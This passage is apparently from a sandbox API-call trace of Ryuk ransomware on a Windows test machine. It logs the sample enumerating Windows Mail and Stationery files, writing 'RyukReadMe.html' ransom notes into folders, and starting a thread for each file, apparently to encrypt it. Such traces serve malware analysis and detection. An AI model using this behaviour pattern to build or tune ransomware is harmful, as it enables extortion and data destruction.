	[0236.423] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0236.424] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.424] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1
	[0236.424] SetLastError (dwErrCode=0x0) 
	[0236.424] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794
	[0236.425] GetLastError () returned 0x0
	[0236.425] WriteFile (in: hFile=0x794, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0236.428] CloseHandle (hObject=0x794) returned 1
	[0236.428] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0236.550] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.550] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x206, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0236.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0236.553] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.554] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0236.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0236.557] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.558] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0236.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0236.561] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.561] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0236.561] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0236.564] SetLastError (dwErrCode=0x0) 
	[0236.564] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.564] GetLastError () returned 0x3
	[0236.564] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0236.564] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.564] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0
	[0236.565] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0236.565] SetLastError (dwErrCode=0x0) 
	[0236.565] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790
	[0236.565] GetLastError () returned 0xb7
	[0236.565] CloseHandle (hObject=0x790) returned 1
	[0236.566] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0236.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0236.652] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.653] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0236.653] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0236.656] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.657] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0236.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0236.659] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.660] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0236.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0236.663] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.664] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0236.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0236.666] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.666] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1de, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
	[0236.666] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0236.735] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.735] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0236.736] SetLastError (dwErrCode=0x0) 
	[0236.736] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0236.736] GetLastError () returned 0xb7
	[0236.736] CloseHandle (hObject=0x7b4) returned 1
	[0236.737] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0236.741] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.741] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0236.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0236.744] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.744] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0236.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0236.746] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.747] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0236.747] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0236.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0236.749] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.750] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0236.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0236.932] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.933] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
	[0236.933] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0236.936] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.936] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
	[0236.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0236.940] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.940] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
	[0236.940] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0236.943] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
